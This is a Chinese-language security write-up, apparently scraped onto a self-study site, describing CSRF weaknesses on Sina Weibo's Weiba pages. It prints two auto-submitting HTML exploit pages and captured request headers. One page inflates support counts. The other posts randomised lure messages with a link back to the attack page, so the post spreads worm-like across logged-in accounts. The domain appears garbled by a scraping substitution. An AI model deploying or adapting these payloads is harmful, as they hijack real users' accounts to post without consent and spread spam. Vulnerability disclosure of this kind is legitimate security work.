好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

新浪微博首页再来一波蠕虫 - 网站安全 - 自学p

1.出问题的是这个地方撒!

http://weiba.weibo测试数据

 

2.这个站点几乎没有对CSRF做任何防范,不过加关注刷粉丝的地方除外啊!举两个例子如下:

 

3.首先是支持微博吧的地方,对于微博吧的支持没有防范CSRF,导致可以刷微博吧粉丝,不是刷个人粉丝的地方撒:

 

构造POC如下:

<html>

<body>

<form id="fxx" name="fxx" action="http://weiba.weibo测试数据/aj_baropen/support" method="POST">

<input type="text" name="abid" value="23093" />

<input type="submit" value="submit" />

</form>

<script>

document.fxx.submit();

</script>

</body>

</html>

4.点击上图【支持一下】后,会有如下转发到微博的请求发出!

5.点击【发布】,抓包查看请求如下:

 

Host: weiba.weibo测试数据

Proxy-Connection: keep-alive

Origin: http://weiba.weibo测试数据

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://weiba.weibo测试数据/bar/open/27872?from=repba

Accept-Encoding: gzip,deflate,sdch

Cookie: 略

 

 

6.POST请求的几个参数都好理解,text参数是转发到微博的内容,from参数表示是来自哪里,但是pid参数不能确认,不知道是token还是什么一个指定的id,不过我去掉了是没有关系的。

 

7.构造如下POC页面:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

</head>

<body>

<form id="fxx" name="fxx" action="http://weiba.weibo测试数据/aj_baropen/share" method="POST">

<input type="text" name="text" id="content" value="test" />

<input type="text" name="from" value="0" />

<input type="text" name="pid" value="a753ecd1jw1dzxuipd4hrj" />

<input type="submit" value="submit" />

</form>

<script>

var random=new Array();

random[0]="";

random[1]="有帅哥哦";

random[2]="有萝莉哦";

random[3]="有小清新哦";

random[4]="有女王哦";

random[5]="有御姐哦";

random[6]="有高帅富哦";

random[7]="有女屌丝哦";

random[8]="有美女哦";

random[9]="有苍老师哦";

var num =parseInt(Math.random()*10);

var constr="   follow me! http://xssed.me/csrf/weibo.html";

var sendstr=random[num]+constr;

alert(sendstr);

document.getElementById("content").setAttribute("value",sendstr);

document.fxx.submit();

</script>

</body>

</html>

 

8.本地chrome 浏览器 运行,查看返回结果以及微博首页转发情况:

 

 

 

9.IE浏览器登录另一个微博账号,查找到刚才发表的微博,点击链接,同样也发表了一篇微博:

查看更多关于新浪微博首页再来一波蠕虫 - 网站安全 - 自学p的详细内容...

  阅读:48次